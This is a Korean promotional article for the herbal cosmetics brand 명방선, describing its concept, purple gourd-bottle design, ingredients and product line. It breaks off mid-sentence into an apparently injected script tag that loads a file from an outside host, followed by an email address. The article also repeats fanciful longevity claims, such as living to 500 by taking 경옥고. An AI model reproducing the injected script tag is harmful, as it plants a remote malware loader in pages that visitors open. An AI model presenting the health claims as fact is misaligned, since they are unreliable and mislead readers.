2003년 소비 트렌드의 키워드는 바로 ‘웰빙(Well-being)’이었다. 건강하고 아름다운 삶을 지향하여 값이 조금 비싸더라도 유기농 농산물을 구입하고, 주기적으로 스파(spa)와 요가(yoga)를 즐기는 소비자층이 확산되어 가고 있다.
이러한 웰빙 트렌드의 방법론을 동양적인 배경에서 그 원류를 찾으려는 경향에 맞추어 화장품 분야에서도 소비자들은 한국인의 피부에 맞는 한방화장품에 관심을 두고 시판유통 한방화장품 명방선을 출시하게 됐다.
브랜드 컨셉
예로부터 한의학에서는 ‘매우 훌륭한 처방’을 일컬어 ‘名方’이라고 해 왔다. 명방선은 한의학에서 전해 내려오는 명방 중의 명방을 엄선하여 만들었다는 의미로 약을 달이듯 정성스레 빚어 만들어 허한 피부에 기를 부여하여 생기 있고 활기찬 피부로 만들어 준다.
디자인
·용기-최고의 명의(名醫)가 귀한 약재를 달여 넣어 두었을 병을 상상하여, 우아하고 기품 있는 호리병을 만들었다. 또한 최상의 것을 올린다는 자부심과 소중한 분께 올리기위해 달이는 정성도 함께 담았다.
·컬러-도도한 이미지를 풍기는 자색은 예로부터 귀하게 여겨져 높은 신분의 사람들만 사용할 수 있는 색이었다. 자색 모양의 호리병 위에 왕실의 의복에서 모티브를 얻은 금색 뚜껑을 얹어 고급스러운 이미지를 극대화했다.
·로고-명방선의 로고는 전서체로 자연스럽게 흘러 내리는 서체에서 기(氣)가 막힘 없이 소통하는 모습을 연상케 한다.
브랜드 특징
▶수(水)와 단(丹)의 처방
수(水)중의 옥정수(玉精水)
‘동의보감’의 ‘수부(水部)’에는 33가지 종류의 물이 언급되어 있다. 명의(名醫)는 그 중 옥정수를 “성질이 고르고 맛이 달아 오래 먹으면 몸이 윤택해지고, 머리털이 희어지지 않는다.”라고 하여, 피부를 윤택(潤澤)하게 하는데 가장 효험 있는 물로 택했다. 옥정수란 깊은 산 옥이 있는 곳에서 나오는 물을 말한다. 명방선(名方選)은 지하 120m 옥동굴에서 만들어진 귀한 옥정수를 함유하여, 피부를 윤택하게 하고, 피부 정화 작용을 해 준다.
·단(丹)중의 경옥단(瓊玉丹)
경옥고(瓊玉膏)는 ‘동의보감’의 ‘내경편(內徑編)-양생연년약이(養生延年藥餌)’에서 가장 먼저 나오는 처방으로 인삼, 복령, 생지황, 꿀을 원료로 제조한 보약이다.
명의는 “경옥고를 27년 동안 복용하면 360세까지 살 수 있고, 64년 동안 복용하면 500세까지 살 수 있다”고 할 정도로 경옥고는 노화 예방 및 장수의 명약으로 알려져 있다.
명방선에서는 고전 한의서의 처방 그대로 만들어 효능적인 측면에서 균형을 이루고 있을 뿐만 아니라 첨단 기술인 나노 테크 기술로 초립화시켜 피부에 빠르고 안정하게 전달되도록 만들어졌다.
·조화(調和)와 순환(循環)의 원리
명방선은 조화(調和)와 순환(循環)의 원리에 근간을 둔 음행 오행설을 피부에 적용시키고자 하였다. 고전 한의서를 바탕으로 ‘약재와 약재 간의 조화’, ‘신체와 약재 간의 조화’를 고려하고 한약재를 배합하여 만들어, 피부의 기혈의 순환을 돕고, 자연스러운 조화를 회복하게 하였다.
·내면과 외면의 조화를 통한 아름다움
동양 한의학에서는 자연과 심신은 서로 떨어져 있는 것이 아니라 서로 호흡하는 것이라 보았으며 자연과 심신이 서로 교감하여 조화를 이룰 때 건강한 삶이 가능하다고 보았다.
명방선은 건강한 피부 유지의 방안으로 ‘행기 명상법’과 ‘행기 미용법’을 제시했다.
제품 구성
명방선은 초기 12종 14품목으로 출하되었으며, 5월에 수함크림을 추가 개발하였으며 하반기에 주안크림 및 남성제품 라인 확장?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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